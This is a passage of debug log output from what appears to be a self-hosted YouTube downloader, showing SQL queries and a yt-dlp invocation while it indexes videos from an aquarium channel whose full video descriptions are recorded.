an Abandoned Axolotl....mkv", "id" => "m-EL5Fti1TM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-EL5Fti1TM", "playlist_index" => 15, "timestamp" => 1739042575, "title" => "I Rescued an Abandoned Axolotl...", "upload_date" => "20250208"} 11:13:22.672 [debug] QUERY OK source="sources" db=0.2ms idle=1976.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:22.672 [debug] QUERY OK source="sources" db=0.1ms idle=1976.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:22.672 [debug] QUERY OK source="media_items" db=0.3ms idle=1977.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 19:22:55Z], 32] 11:13:22.674 [debug] QUERY OK source="media_items" db=1.3ms idle=1097.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "a31ddd7e-cdbb-4af1-a47b-f0aa1ec26b5c", "m-EL5Fti1TM", false, "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, [], 503, false, 15, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, false, 98, ~U[2025-02-08 19:22:55Z], ~U[2026-06-03 15:13:22Z], ~U[2026-06-03 15:13:22Z], "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "m-EL5Fti1TM", "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, 503, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, ~U[2025-02-08 19:22:55Z]] 11:13:22.675 [debug] QUERY OK source="sources" db=0.1ms idle=97.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:22.675 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:22.676 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116195] 11:13:22.676 [debug] Current batch of media processed. Will check again in 1000ms 11:13:23.676 [debug] Current batch of media processed. Will check again in 1000ms 11:13:24.322 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@aquariuminfo --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Aquarium Info/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5b/92/5b9270fb9a95876a88090ec21461bcc3cd7f51b2f0af8b2056b06b545888fbb7.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a1/40/a1403e83c8140ed33f5ff46ef644c017e829b8187d3b64df07f7966eed96588e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:13:24.323 [debug] Gracefully stopping file follower 11:13:24.323 [debug] QUERY OK source="sources" db=0.2ms idle=744.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:24.324 [debug] QUERY OK source="sources" db=0.1ms idle=628.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.324 [debug] QUERY OK source="media_items" db=0.3ms idle=628.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 14:03:25Z], 32] 11:13:24.326 [debug] QUERY OK source="media_items" db=1.4ms idle=629.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "585711a7-5f9f-4174-9cd9-39e4f9aef551", "vw_KuLVHKP8", false, "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, [], 1027, false, 1, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, false, 98, ~U[2026-05-30 14:03:25Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "vw_KuLVHKP8", "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, 1027, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, ~U[2026-05-30 14:03:25Z]] 11:13:24.327 [debug] QUERY OK source="sources" db=0.2ms idle=631.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.327 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-18 14:03:00Z], 32] 11:13:24.329 [debug] QUERY OK source="media_items" db=1.4ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "051ac673-3125-4aeb-9e81-e11fe8cabd32", "HH2gKrl22Fw", false, "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, [], 955, false, 2, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, false, 98, ~U[2026-04-18 14:03:00Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "HH2gKrl22Fw", "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, 955, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, ~U[2026-04-18 14:03:00Z]] 11:13:24.330 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.330 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-01 18:42:41Z], 32] 11:13:24.332 [debug] QUERY OK source="media_items" db=1.4ms idle=3.8ms INSERT INTO "media_items" AS m0 